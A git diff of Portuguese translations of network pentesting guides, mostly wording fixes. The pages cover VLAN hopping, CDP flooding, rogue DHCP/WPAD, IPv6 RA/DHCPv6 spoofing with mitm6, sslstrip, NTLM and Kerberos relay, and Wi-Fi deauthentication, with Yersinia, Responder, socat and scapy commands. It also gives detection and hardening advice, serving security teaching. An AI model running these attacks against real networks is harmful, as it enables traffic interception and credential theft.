Gostaria de ressaltar que **Access/Desirable (0x03)** indica que o quadro DTP é do tipo Desirable, o que informa à porta para mudar para o modo Trunk. E **802.1Q/802.1Q (0xa5)** indica o tipo de encapsulamento **802.1Q**.
|
||||
Eu gostaria de apontar que **Access/Desirable (0x03)** indica que o quadro DTP é do tipo Desirable, o que informa a porta para mudar para o modo Trunk. E **802.1Q/802.1Q (0xa5)** indica o tipo de encapsulamento **802.1Q**.
|
||||
|
||||
Ao analisar os quadros STP, **aprendemos sobre a existência da VLAN 30 e da VLAN 60.**
|
||||
|
||||
@ -344,7 +342,7 @@ sendp(packet)
|
||||
```
|
||||
#### Bypass de Segmentação Lateral de VLAN <a href="#d679" id="d679"></a>
|
||||
|
||||
Se você tem **acesso a um switch ao qual está diretamente conectado**, você tem a capacidade de **bypassar a segmentação de VLAN** dentro da rede. Basta **mudar a porta para o modo trunk** (também conhecido como trunk), criar interfaces virtuais com os IDs das VLANs alvo e configurar um endereço IP. Você pode tentar solicitar o endereço dinamicamente (DHCP) ou pode configurá-lo estaticamente. Depende do caso.
|
||||
Se você tiver **acesso a um switch ao qual está diretamente conectado**, você tem a capacidade de **bypassar a segmentação de VLAN** dentro da rede. Basta **mudar a porta para o modo trunk** (também conhecido como trunk), criar interfaces virtuais com os IDs das VLANs alvo e configurar um endereço IP. Você pode tentar solicitar o endereço dinamicamente (DHCP) ou pode configurá-lo estaticamente. Depende do caso.
|
||||
|
||||
{{#ref}}
|
||||
lateral-vlan-segmentation-bypass.md
|
||||
@ -352,9 +350,9 @@ lateral-vlan-segmentation-bypass.md
|
||||
|
||||
#### Bypass de VLAN Privada de Camada 3
|
||||
|
||||
Em certos ambientes, como redes sem fio para convidados, as configurações de **isolamento de porta (também conhecido como VLAN privada)** são implementadas para evitar que clientes conectados a um ponto de acesso sem fio se comuniquem diretamente entre si. No entanto, uma técnica foi identificada que pode contornar essas medidas de isolamento. Essa técnica explora a falta de ACLs de rede ou sua configuração inadequada, permitindo que pacotes IP sejam roteados através de um roteador para alcançar outro cliente na mesma rede.
|
||||
Em certos ambientes, como redes sem fio para convidados, as configurações de **isolamento de porta (também conhecido como VLAN privada)** são implementadas para impedir que clientes conectados a um ponto de acesso sem fio se comuniquem diretamente entre si. No entanto, uma técnica foi identificada que pode contornar essas medidas de isolamento. Essa técnica explora a falta de ACLs de rede ou sua configuração inadequada, permitindo que pacotes IP sejam roteados através de um roteador para alcançar outro cliente na mesma rede.
|
||||
|
||||
O ataque é executado criando um **pacote que carrega o endereço IP do cliente de destino, mas com o endereço MAC do roteador**. Isso faz com que o roteador encaminhe erroneamente o pacote para o cliente alvo. Essa abordagem é semelhante à utilizada em Ataques de Double Tagging, onde a capacidade de controlar um host acessível à vítima é usada para explorar a falha de segurança.
|
||||
O ataque é executado criando um **pacote que carrega o endereço IP do cliente de destino, mas com o endereço MAC do roteador**. Isso faz com que o roteador encaminhe erroneamente o pacote para o cliente alvo. Essa abordagem é semelhante à usada em Ataques de Double Tagging, onde a capacidade de controlar um host acessível à vítima é usada para explorar a falha de segurança.
|
||||
|
||||
**Passos Chave do Ataque:**
|
||||
|
||||
@ -368,13 +366,13 @@ O VTP (VLAN Trunking Protocol) centraliza a gestão de VLANs. Ele utiliza númer
|
||||
#### Funções do Domínio VTP
|
||||
|
||||
- **Servidor VTP:** Gerencia VLANs—cria, exclui, modifica. Ele transmite anúncios VTP para os membros do domínio.
|
||||
- **Cliente VTP:** Recebe anúncios VTP para sincronizar seu banco de dados de VLAN. Este papel é restrito de modificações de configuração de VLAN local.
|
||||
- **Cliente VTP:** Recebe anúncios VTP para sincronizar seu banco de dados de VLAN. Esse papel é restrito de modificações de configuração de VLAN local.
|
||||
- **Transparente VTP:** Não participa de atualizações VTP, mas encaminha anúncios VTP. Não é afetado por ataques VTP, mantendo um número de revisão constante de zero.
|
||||
|
||||
#### Tipos de Anúncios VTP
|
||||
|
||||
- **Anúncio Resumo:** Transmitido pelo servidor VTP a cada 300 segundos, carregando informações essenciais do domínio.
|
||||
- **Anúncio de Subconjunto:** Enviado após alterações na configuração da VLAN.
|
||||
- **Anúncio de Subconjunto:** Enviado após alterações na configuração de VLAN.
|
||||
- **Solicitação de Anúncio:** Emitida por um cliente VTP para solicitar um Anúncio Resumo, tipicamente em resposta à detecção de um número de revisão de configuração mais alto.
|
||||
|
||||
As vulnerabilidades do VTP são exploráveis exclusivamente através de portas trunk, uma vez que os anúncios VTP circulam apenas por elas. Cenários pós-ataque DTP podem se voltar para o VTP. Ferramentas como Yersinia podem facilitar ataques VTP, visando eliminar o banco de dados de VLAN, efetivamente interrompendo a rede.
|
||||
@ -423,9 +421,9 @@ O Protocolo de Descoberta CISCO (CDP) é essencial para a comunicação entre di
|
||||
|
||||
#### Coleta de Dados Passiva <a href="#id-0e0f" id="id-0e0f"></a>
|
||||
|
||||
O CDP é configurado para transmitir informações através de todas as portas, o que pode levar a um risco de segurança. Um atacante, ao se conectar a uma porta de switch, poderia implantar sniffer de rede como **Wireshark**, **tcpdump** ou **Yersinia**. Essa ação pode revelar dados sensíveis sobre o dispositivo de rede, incluindo seu modelo e a versão do Cisco IOS que ele executa. O atacante pode então direcionar vulnerabilidades específicas na versão do Cisco IOS identificada.
|
||||
O CDP é configurado para transmitir informações através de todas as portas, o que pode levar a um risco de segurança. Um atacante, ao se conectar a uma porta de switch, poderia implantar sniffers de rede como **Wireshark**, **tcpdump** ou **Yersinia**. Essa ação pode revelar dados sensíveis sobre o dispositivo de rede, incluindo seu modelo e a versão do Cisco IOS que ele executa. O atacante pode então direcionar vulnerabilidades específicas na versão do Cisco IOS identificada.
|
||||
|
||||
#### Induzindo Inundação da Tabela CDP <a href="#id-0d6a" id="id-0d6a"></a>
|
||||
#### Induzindo a Inundação da Tabela CDP <a href="#id-0d6a" id="id-0d6a"></a>
|
||||
|
||||
Uma abordagem mais agressiva envolve lançar um ataque de Negação de Serviço (DoS) sobrecarregando a memória do switch, fingindo ser dispositivos CISCO legítimos. Abaixo está a sequência de comandos para iniciar tal ataque usando Yersinia, uma ferramenta de rede projetada para testes:
|
||||
```bash
|
||||
@ -446,11 +444,11 @@ Você também pode usar [**scapy**](https://github.com/secdev/scapy/). Certifiqu
|
||||
|
||||
Os telefones VoIP, cada vez mais integrados com dispositivos IoT, oferecem funcionalidades como desbloquear portas ou controlar termostatos através de números de telefone especiais. No entanto, essa integração pode apresentar riscos de segurança.
|
||||
|
||||
A ferramenta [**voiphopper**](http://voiphopper.sourceforge.net) é projetada para emular um telefone VoIP em vários ambientes (Cisco, Avaya, Nortel, Alcatel-Lucent). Ela descobre o VLAN ID da rede de voz usando protocolos como CDP, DHCP, LLDP-MED e 802.1Q ARP.
|
||||
A ferramenta [**voiphopper**](http://voiphopper.sourceforge.net) é projetada para emular um telefone VoIP em vários ambientes (Cisco, Avaya, Nortel, Alcatel-Lucent). Ela descobre o ID da VLAN da rede de voz usando protocolos como CDP, DHCP, LLDP-MED e 802.1Q ARP.
|
||||
|
||||
**VoIP Hopper** oferece três modos para o Protocolo de Descoberta Cisco (CDP):
|
||||
|
||||
1. **Modo Sniff** (`-c 0`): Analisa pacotes de rede para identificar o VLAN ID.
|
||||
1. **Modo Sniff** (`-c 0`): Analisa pacotes de rede para identificar o ID da VLAN.
|
||||
2. **Modo Spoof** (`-c 1`): Gera pacotes personalizados imitando os de um dispositivo VoIP real.
|
||||
3. **Modo Spoof com Pacote Pré-fabricado** (`-c 2`): Envia pacotes idênticos aos de um modelo específico de telefone IP Cisco.
|
||||
|
||||
@ -516,7 +514,7 @@ Abaixo estão as opções de comando para configurar o servidor DHCP malicioso:
|
||||
- **IP do Servidor DNS Secundário**: Opcionalmente, use `-s 10.0.0.1` para definir um IP de servidor DNS secundário.
|
||||
- **Máscara de Rede Local**: Use `-n 255.255.255.0` para definir a máscara de rede para a rede local.
|
||||
- **Interface para Tráfego DHCP**: Use `-I eth1` para escutar o tráfego DHCP em uma interface de rede específica.
|
||||
- **Endereço de Configuração WPAD**: Use `-w “http://10.0.0.100/wpad.dat”` para definir o endereço para configuração WPAD, auxiliando na interceptação de tráfego web.
|
||||
- **Endereço de Configuração WPAD**: Use `-w “http://10.0.0.100/wpad.dat”` para definir o endereço para a configuração WPAD, auxiliando na interceptação de tráfego web.
|
||||
- **Falsificar IP do Gateway Padrão**: Inclua `-S` para falsificar o endereço IP do gateway padrão.
|
||||
- **Responder a Todos os Pedidos DHCP**: Inclua `-R` para fazer o servidor responder a todos os pedidos DHCP, mas esteja ciente de que isso é barulhento e pode ser detectado.
|
||||
|
||||
@ -541,7 +539,7 @@ eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
||||
```
|
||||
### FHRP (GLBP & HSRP) Attacks <a href="#id-6196" id="id-6196"></a>
|
||||
|
||||
**FHRP** (First Hop Redundancy Protocol) é uma classe de protocolos de rede projetados para **criar um sistema de roteamento redundante ativo**. Com o FHRP, roteadores físicos podem ser combinados em um único dispositivo lógico, o que aumenta a tolerância a falhas e ajuda a distribuir a carga.
|
||||
**FHRP** (First Hop Redundancy Protocol) é uma classe de protocolos de rede projetados para **criar um sistema de roteamento redundante quente**. Com o FHRP, roteadores físicos podem ser combinados em um único dispositivo lógico, o que aumenta a tolerância a falhas e ajuda a distribuir a carga.
|
||||
|
||||
**Engenheiros da Cisco Systems desenvolveram dois protocolos FHRP, GLBP e HSRP.**
|
||||
|
||||
@ -574,10 +572,10 @@ eigrp-attacks.md
|
||||
|
||||
### OSPF
|
||||
|
||||
No protocolo Open Shortest Path First (OSPF), **a autenticação MD5 é comumente empregada para garantir comunicação segura entre roteadores**. No entanto, essa medida de segurança pode ser comprometida usando ferramentas como Loki e John the Ripper. Essas ferramentas são capazes de capturar e quebrar hashes MD5, expondo a chave de autenticação. Uma vez que essa chave é obtida, pode ser usada para introduzir novas informações de roteamento. Para configurar os parâmetros da rota e estabelecer a chave comprometida, as abas _Injection_ e _Connection_ são utilizadas, respectivamente.
|
||||
No protocolo Open Shortest Path First (OSPF), **a autenticação MD5 é comumente empregada para garantir comunicação segura entre roteadores**. No entanto, essa medida de segurança pode ser comprometida usando ferramentas como Loki e John the Ripper. Essas ferramentas são capazes de capturar e quebrar hashes MD5, expondo a chave de autenticação. Uma vez que essa chave é obtida, ela pode ser usada para introduzir novas informações de roteamento. Para configurar os parâmetros da rota e estabelecer a chave comprometida, as abas _Injection_ e _Connection_ são utilizadas, respectivamente.
|
||||
|
||||
- **Capturando e Quebrando Hashes MD5:** Ferramentas como Loki e John the Ripper são usadas para esse propósito.
|
||||
- **Configurando Parâmetros da Rota:** Isso é feito através da aba _Injection_.
|
||||
- **Configurando Parâmetros de Rota:** Isso é feito através da aba _Injection_.
|
||||
- **Definindo a Chave Comprometida:** A chave é configurada na aba _Connection_.
|
||||
|
||||
### Other Generic Tools & Sources
|
||||
@ -646,11 +644,11 @@ Leia aqui mais informações sobre [como se passar por serviços com Responder](
|
||||
|
||||
Os navegadores comumente utilizam o **protocolo Web Proxy Auto-Discovery (WPAD) para adquirir automaticamente as configurações de proxy**. Isso envolve buscar detalhes de configuração de um servidor, especificamente através de uma URL como "http://wpad.example.org/wpad.dat". A descoberta deste servidor pelos clientes pode ocorrer através de vários mecanismos:
|
||||
|
||||
- Através de **DHCP**, onde a descoberta é facilitada utilizando uma entrada de código especial 252.
|
||||
- Através do **DHCP**, onde a descoberta é facilitada utilizando uma entrada de código especial 252.
|
||||
- Por **DNS**, que envolve a busca por um nome de host rotulado como _wpad_ dentro do domínio local.
|
||||
- Via **Microsoft LLMNR e NBT-NS**, que são mecanismos de fallback usados em casos onde as consultas DNS não têm sucesso.
|
||||
|
||||
A ferramenta Responder aproveita esse protocolo agindo como um **servidor WPAD malicioso**. Ela utiliza DHCP, DNS, LLMNR e NBT-NS para enganar os clientes a se conectarem a ela. Para se aprofundar em como os serviços podem ser impersonados usando Responder [verifique isso](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
A ferramenta Responder aproveita esse protocolo agindo como um **servidor WPAD malicioso**. Ela utiliza DHCP, DNS, LLMNR e NBT-NS para enganar os clientes a se conectarem a ela. Para se aprofundar em como serviços podem ser impersonados usando Responder [verifique isso](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing SSDP e dispositivos UPnP](spoofing-ssdp-and-upnp-devices.md)
|
||||
|
||||
@ -673,7 +671,7 @@ fake_router6 wlan0 fe80::01/16
|
||||
```
|
||||
### Spoofing DHCP IPv6
|
||||
|
||||
Por padrão, alguns sistemas operacionais tentam configurar o DNS lendo um pacote DHCPv6 na rede. Então, um atacante poderia enviar um pacote DHCPv6 para se configurar como DNS. O DHCP também fornece um IPv6 para a vítima.
|
||||
Por padrão, alguns sistemas operacionais tentam configurar o DNS lendo um pacote DHCPv6 na rede. Assim, um atacante poderia enviar um pacote DHCPv6 para se configurar como DNS. O DHCP também fornece um IPv6 para a vítima.
|
||||
```bash
|
||||
dhcp6.spoof on
|
||||
dhcp6.spoof.domains <list of domains>
|
||||
@ -702,11 +700,11 @@ Mais informações [aqui](https://www.blackhat.com/presentations/bh-dc-09/Marlin
|
||||
A **diferença** entre **sslStrip+ e dns2proxy** em relação ao **sslStrip** é que eles **redirecionarão** por exemplo _**www.facebook.com**_ **para** _**wwww.facebook.com**_ (note o **extra** "**w**") e definirão o **endereço deste domínio como o IP do atacante**. Dessa forma, o **cliente** irá **conectar-se** a _**wwww.facebook.com**_ **(o atacante)**, mas nos bastidores **sslstrip+** irá **manter** a **conexão real** via https com **www.facebook.com**.
|
||||
|
||||
O **objetivo** desta técnica é **evitar HSTS** porque _**wwww**.facebook.com_ **não será** salvo no **cache** do navegador, então o navegador será enganado para realizar a **autenticação do facebook em HTTP**.\
|
||||
Note que, para realizar este ataque, a vítima deve tentar acessar inicialmente [http://www.faceook.com](http://www.faceook.com) e não https. Isso pode ser feito modificando os links dentro de uma página http.
|
||||
Note que para realizar este ataque, a vítima deve tentar acessar inicialmente [http://www.faceook.com](http://www.faceook.com) e não https. Isso pode ser feito modificando os links dentro de uma página http.
|
||||
|
||||
Mais informações [aqui](https://www.bettercap.org/legacy/#hsts-bypass), [aqui](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) e [aqui](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
|
||||
|
||||
**sslStrip ou sslStrip+ não funcionam mais. Isso ocorre porque existem regras HSTS pré-salvas nos navegadores, então mesmo que seja a primeira vez que um usuário acesse um domínio "importante", ele o fará via HTTPS. Além disso, note que as regras pré-salvas e outras regras geradas podem usar a flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **então o exemplo de _**wwww.facebook.com**_ de antes não funcionará mais, pois _**facebook.com**_ usa HSTS com `includeSubdomains`.**
|
||||
**sslStrip ou sslStrip+ não funcionam mais. Isso ocorre porque existem regras HSTS pré-salvas nos navegadores, então mesmo que seja a primeira vez que um usuário acesse um domínio "importante", ele o fará via HTTPS. Além disso, note que as regras pré-salvas e outras regras geradas podem usar a flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **então o exemplo de** _**wwww.facebook.com**_ **de antes não funcionará mais, pois** _**facebook.com**_ **usa HSTS com `includeSubdomains`.**
|
||||
|
||||
TODO: easy-creds, evilgrade, metasploit, factory
|
||||
|
||||
@ -735,7 +733,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
|
||||
```
|
||||
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
|
||||
```
|
||||
Às vezes, se o cliente verificar que a CA é válida, você pode **servir um certificado de outro hostname assinado por uma CA**.\
|
||||
Às vezes, se o cliente verificar se a CA é válida, você pode **servir um certificado de outro hostname assinado por uma CA**.\
|
||||
Outro teste interessante é **servir um certificado do hostname solicitado, mas autoassinado**.
|
||||
|
||||
Outras coisas a testar são tentar assinar o certificado com um certificado válido que não seja uma CA válida. Ou usar a chave pública válida, forçar o uso de um algoritmo como Diffie-Hellman (um que não precise descriptografar nada com a verdadeira chave privada) e, quando o cliente solicitar uma prova da verdadeira chave privada (como um hash), enviar uma prova falsa e esperar que o cliente não verifique isso.
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Teoria básica do IPv6
|
||||
## Teoria Básica do IPv6
|
||||
|
||||
### Redes
|
||||
|
||||
@ -17,10 +17,10 @@ Enquanto o IPv6 omite o protocolo ARP encontrado no IPv4, ele introduz o **ICMPv
|
||||
- **Solicitação de Vizinhança (NS)**: Mensagens multicast para resolução de endereços.
|
||||
- **Anúncio de Vizinhança (NA)**: Respostas unicast ao NS ou anúncios espontâneos.
|
||||
|
||||
O IPv6 também incorpora tipos de endereços especiais:
|
||||
O IPv6 também incorpora tipos especiais de endereços:
|
||||
|
||||
- **Endereço de Loopback (`::1`)**: Equivalente ao `127.0.0.1` do IPv4, para comunicação interna dentro do host.
|
||||
- **Endereços Link-Local (`FE80::/10`)**: Para atividades de rede local, não para roteamento na internet. Dispositivos na mesma rede local podem se descobrir usando esse intervalo.
|
||||
- **Endereços Link-Local (`FE80::/10`)**: Para atividades de rede local, não para roteamento na internet. Dispositivos na mesma rede local podem se descobrir usando essa faixa.
|
||||
|
||||
### Uso Prático do IPv6 em Comandos de Rede
|
||||
|
||||
@ -104,7 +104,7 @@ Para identificar endereços IPv6, certos tipos de registros DNS podem ser consul
|
||||
|
||||
### Probing com Ping6
|
||||
|
||||
Após identificar endereços IPv6 associados a uma organização, a ferramenta `ping6` pode ser usada para sondagem. Esta ferramenta ajuda a avaliar a capacidade de resposta dos endereços IPv6 identificados e pode também auxiliar na descoberta de dispositivos IPv6 adjacentes.
|
||||
Após identificar endereços IPv6 associados a uma organização, a utilidade `ping6` pode ser usada para sondagem. Esta ferramenta ajuda a avaliar a capacidade de resposta dos endereços IPv6 identificados e pode também auxiliar na descoberta de dispositivos IPv6 adjacentes.
|
||||
|
||||
## Técnicas de Ataque em Rede Local IPv6
|
||||
|
||||
@ -112,7 +112,7 @@ As seções a seguir cobrem ataques práticos de camada 2 em IPv6 que podem ser
|
||||
|
||||
### Ajuste do Sistema para um Laboratório Estável
|
||||
|
||||
Antes de brincar com o tráfego IPv6, é recomendável fortalecer sua máquina para evitar ser envenenado por seus próprios testes e obter o melhor desempenho durante injeção/sniffing de pacotes em massa.
|
||||
Antes de brincar com o tráfego IPv6, é recomendável fortalecer sua máquina para evitar ser envenenado por seus próprios testes e obter o melhor desempenho durante injeção/sniffing massivo de pacotes.
|
||||
```bash
|
||||
# Enable promiscuous mode to capture all frames
|
||||
sudo ip link set dev eth0 promisc on
|
||||
@ -227,10 +227,10 @@ sudo sysctl -w net.ipv6.conf.all.forwarding=1
|
||||
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
|
||||
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
```
|
||||
#### Sinalizadores de Anúncio de Roteador (M/O) & Preferência de Roteador Padrão (Prf)
|
||||
#### Router Advertisement Flags (M/O) & Default Router Preference (Prf)
|
||||
|
||||
| Sinalizador | Significado | Efeito no Comportamento do Cliente |
|
||||
|-------------|-------------|------------------------------------|
|
||||
| Flag | Significado | Efeito no Comportamento do Cliente |
|
||||
|------|-------------|------------------------------------|
|
||||
| **M (Configuração de Endereço Gerenciado)** | Quando definido como `1`, o host DEVE usar **DHCPv6** para obter seu endereço IPv6. | Todo o endereçamento vem do DHCPv6 – perfeito para envenenamento estilo *mitm6*. |
|
||||
| **O (Outra Configuração)** | Quando definido como `1`, o host deve usar **DHCPv6** apenas para obter *outras* informações (DNS, NTP, …). | Endereço ainda via SLAAC, mas o DNS pode ser sequestrado com DHCPv6. |
|
||||
| **M=0 / O=0** | Rede puramente SLAAC. | Apenas truques RA / RDNSS são possíveis – DHCPv6 não será enviado pelos clientes. |
|
||||
@ -277,13 +277,13 @@ ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
|
||||
|
||||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||||
```
|
||||
Os clientes irão **preencher** seu DNS na lista de resolutores pelo tempo determinado, concedendo total sequestro de DNS até que o valor expire ou você envie um `lifetime=0` para reverter.
|
||||
Os clientes irão **preparar** seu DNS na lista de resolutores para o tempo de vida dado, concedendo total sequestro de DNS até que o valor expire ou você envie um `lifetime=0` para reverter.
|
||||
|
||||
### Spoofing de DNS DHCPv6 (mitm6)
|
||||
|
||||
Em vez de SLAAC, redes Windows frequentemente dependem de **DHCPv6 sem estado** para DNS. [mitm6](https://github.com/rofl0r/mitm6) responde automaticamente a mensagens `Solicit` com um fluxo **Advertise → Reply** que atribui **seu endereço link-local como DNS por 300 segundos**. Isso desbloqueia:
|
||||
|
||||
* Ataques de retransmissão NTLM (WPAD + sequestro de DNS)
|
||||
* Ataques de relé NTLM (WPAD + sequestro de DNS)
|
||||
* Interceptação da resolução de nomes internos sem tocar nos roteadores
|
||||
|
||||
Uso típico:
|
||||
@ -300,9 +300,9 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
|
||||
|
||||
### Descoberta de Roteador NDP em SSIDs de Convidados/Públicos e Exposição de Serviços de Gerenciamento
|
||||
|
||||
Muitos roteadores de consumo expõem daemons de gerenciamento (HTTP(S), SSH/Telnet, TR-069, etc.) em todas as interfaces. Em algumas implementações, o SSID “convidado/público” é conectado ao WAN/core e é apenas IPv6. Mesmo que o IPv6 do roteador mude a cada inicialização, você pode aprendê-lo de forma confiável usando NDP/ICMPv6 e, em seguida, conectar-se diretamente ao plano de gerenciamento a partir do SSID de convidado.
|
||||
Muitos roteadores de consumo expõem daemons de gerenciamento (HTTP(S), SSH/Telnet, TR-069, etc.) em todas as interfaces. Em algumas implementações, o SSID “convidado/público” é conectado ao WAN/core e é apenas IPv6. Mesmo que o IPv6 do roteador mude a cada inicialização, você pode aprendê-lo de forma confiável usando NDP/ICMPv6 e, em seguida, conectar-se diretamente ao plano de gerenciamento a partir do SSID de convidados.
|
||||
|
||||
Fluxo de trabalho típico de um cliente conectado ao SSID de convidado/público:
|
||||
Fluxo de trabalho típico de um cliente conectado ao SSID de convidados/públicos:
|
||||
|
||||
1) Descubra o roteador via Solicitação de Roteador ICMPv6 para o multicast de Todos os Roteadores `ff02::2` e capture o Anúncio de Roteador (RA):
|
||||
```bash
|
||||
@ -343,7 +343,6 @@ Defesas/anotações:
|
||||
- Limite a taxa e filtre NDP/RS/RA em segmentos de convidados onde for viável.
|
||||
- Para serviços que devem ser acessíveis, imponha authN/MFA e limites de taxa fortes.
|
||||
|
||||
|
||||
## Referências
|
||||
|
||||
- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
|
||||
|
||||
@ -36,7 +36,7 @@
|
||||
|
||||
### Envenenamento DHCP com Responder
|
||||
|
||||
- Spoofing de respostas DHCP pode envenenar permanentemente as informações de roteamento de uma vítima, oferecendo uma alternativa mais furtiva ao envenenamento ARP.
|
||||
- Spoofing de respostas DHCP pode envenenar permanentemente as informações de roteamento de uma vítima, oferecendo uma alternativa mais discreta ao envenenamento ARP.
|
||||
- Requer conhecimento preciso da configuração da rede alvo.
|
||||
- Executando o ataque: `./Responder.py -I eth0 -Pdv`
|
||||
- Este método pode capturar efetivamente hashes NTLMv1/2, mas requer manuseio cuidadoso para evitar interrupções na rede.
|
||||
@ -60,16 +60,16 @@ Ou executado como um binário C#:
|
||||
```bash
|
||||
Inveigh.exe
|
||||
```
|
||||
### Ataque de Revezamento NTLM
|
||||
### NTLM Relay Attack
|
||||
|
||||
Este ataque aproveita sessões de autenticação SMB para acessar uma máquina alvo, concedendo um shell de sistema se for bem-sucedido. Os pré-requisitos principais incluem:
|
||||
Este ataque aproveita as sessões de autenticação SMB para acessar uma máquina alvo, concedendo um shell de sistema se for bem-sucedido. Os principais pré-requisitos incluem:
|
||||
|
||||
- O usuário autenticado deve ter acesso de Administrador Local no host revezado.
|
||||
- O usuário autenticado deve ter acesso de Admin Local na máquina retransmitida.
|
||||
- A assinatura SMB deve estar desativada.
|
||||
|
||||
#### Encaminhamento e Tunelamento da Porta 445
|
||||
|
||||
Em cenários onde a introdução direta na rede não é viável, o tráfego na porta 445 precisa ser encaminhado e tunelado. Ferramentas como [**PortBender**](https://github.com/praetorian-inc/PortBender) ajudam a redirecionar o tráfego da porta 445 para outra porta, o que é essencial quando o acesso de administrador local está disponível para carregamento de drivers.
|
||||
Em cenários onde a introdução direta na rede não é viável, o tráfego na porta 445 precisa ser encaminhado e tunelado. Ferramentas como [**PortBender**](https://github.com/praetorian-inc/PortBender) ajudam a redirecionar o tráfego da porta 445 para outra porta, o que é essencial quando o acesso de admin local está disponível para carregamento de drivers.
|
||||
|
||||
Configuração e operação do PortBender no Cobalt Strike:
|
||||
```bash
|
||||
@ -141,8 +141,8 @@ Para informações detalhadas sobre este ataque, verifique:
|
||||
- 2. **O que deve ser verdade para relatar Kerberos**
|
||||
|
||||
1. **Chave compartilhada:** SPNs de origem e destino pertencem à mesma conta de computador (padrão em servidores Windows).
|
||||
2. **Sem proteção de canal:** SMB/LDAP desativado e EPA desativado para HTTP/LDAPS.
|
||||
3. **Você pode interceptar ou coagir a autenticação:** veneno LLMNR/NBNS, spoof de DNS, **PetitPotam / DFSCoerce RPC**, AuthIP falso, DCOM malicioso, etc.
|
||||
2. **Sem proteção de canal:** SMB/LDAP sem assinatura e EPA desligado para HTTP/LDAPS.
|
||||
3. **Você pode interceptar ou coagir a autenticação:** envenenamento LLMNR/NBNS, spoofing DNS, **PetitPotam / DFSCoerce RPC**, AuthIP falso, DCOM malicioso, etc.
|
||||
4. **Fonte do ticket não utilizada:** você vence a corrida antes que o pacote real chegue ou bloqueia completamente; caso contrário, o cache de reprodução do servidor dispara o Evento 4649.
|
||||
5. Você precisa de alguma forma ser capaz de realizar um **MitM na comunicação**, talvez fazendo parte do grupo DNSAmins para modificar o DNS do domínio ou sendo capaz de alterar o arquivo HOST da vítima.
|
||||
|
||||
@ -192,27 +192,27 @@ Você agora possui **NT AUTHORITY\SYSTEM**.
|
||||
| **AuthIP / IPSec** | Servidor falso envia um **payload GSS-ID** com qualquer SPN; cliente constrói um AP-REQ diretamente para você | Funciona mesmo entre sub-redes; credenciais de máquina por padrão |
|
||||
| **DCOM / MSRPC** | Resolvedor OXID malicioso força o cliente a autenticar em SPN e porta arbitrários | Elevação de privilégio *local* pura; contorna firewall |
|
||||
| **AD CS Web Enroll** | Revezar ticket de máquina para `HTTP/CA` e obter um certificado, então **PKINIT** para criar TGTs | Contorna defesas de assinatura LDAP |
|
||||
| **Credenciais Sombra** | Escrever `msDS-KeyCredentialLink`, então PKINIT com par de chaves forjado | Não é necessário adicionar uma conta de computador |
|
||||
| **Shadow Credentials** | Escrever `msDS-KeyCredentialLink`, então PKINIT com par de chaves forjado | Não é necessário adicionar uma conta de computador |
|
||||
|
||||
### **Solução de Problemas**
|
||||
|
||||
| Erro | Significado | Correção |
|
||||
|------|-------------|----------|
|
||||
| `KRB_AP_ERR_MODIFIED` | Chave do ticket ≠ chave do alvo | Host/SPN errado |
|
||||
| `KRB_AP_ERR_SKEW` | Desvio de relógio > 5 min | Sincronizar hora ou usar `w32tm` |
|
||||
| `KRB_AP_ERR_SKEW` | Relógio > 5 min de desvio | Sincronizar hora ou usar `w32tm` |
|
||||
| Falha na ligação LDAP | Assinatura aplicada | Usar caminho AD CS ou desativar assinatura |
|
||||
| Spam de Evento 4649 | Serviço viu autenticador duplicado | bloquear ou correr o pacote original |
|
||||
| Spam de Evento 4649 | Serviço viu autenticador duplicado | bloquear ou competir com o pacote original |
|
||||
|
||||
### **Detecção**
|
||||
|
||||
* Aumento em **Evento 4769** para `CIFS/`, `HTTP/`, `LDAP/` da mesma fonte em segundos.
|
||||
* **Evento 4649** no serviço indica que replay foi detectado.
|
||||
* **Evento 4649** no serviço indica que a reprodução foi detectada.
|
||||
* Logon Kerberos de **127.0.0.1** (revezar para SCM local) é altamente suspeito—mapear via regra Sigma na documentação do KrbRelayUp.
|
||||
* Observar mudanças nos atributos `msDS-AllowedToActOnBehalfOfOtherIdentity` ou `msDS-KeyCredentialLink`.
|
||||
|
||||
## **Fortalecimento**
|
||||
|
||||
1. **Impor assinatura LDAP & SMB + EPA** em todos os servidores.
|
||||
1. **Impor assinatura LDAP e SMB + EPA** em todos os servidores.
|
||||
2. **Dividir SPNs** para que HTTP não esteja na mesma conta que CIFS/LDAP.
|
||||
3. Corrigir vetores de coerção (PetitPotam KB5005413, DFS, AuthIP).
|
||||
4. Definir **`ms-DS-MachineAccountQuota = 0`** para impedir junções de computadores indesejados.
|
||||
|
||||
@ -102,7 +102,7 @@ Esta ferramenta automatiza ataques **WPS/WEP/WPA-PSK**. Ela irá automaticamente
|
||||
|
||||
**Descrição de** [**aqui**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||||
|
||||
Ataques de **desautenticação**, um método prevalente em hacking Wi-Fi, envolvem forjar quadros de "gerenciamento" para **desconectar forçosamente dispositivos de uma rede**. Esses pacotes não criptografados enganam os clientes, fazendo-os acreditar que são da rede legítima, permitindo que atacantes coletem handshakes WPA para fins de quebra ou para interromper persistentemente conexões de rede. Essa tática, alarmante em sua simplicidade, é amplamente utilizada e tem implicações significativas para a segurança da rede.
|
||||
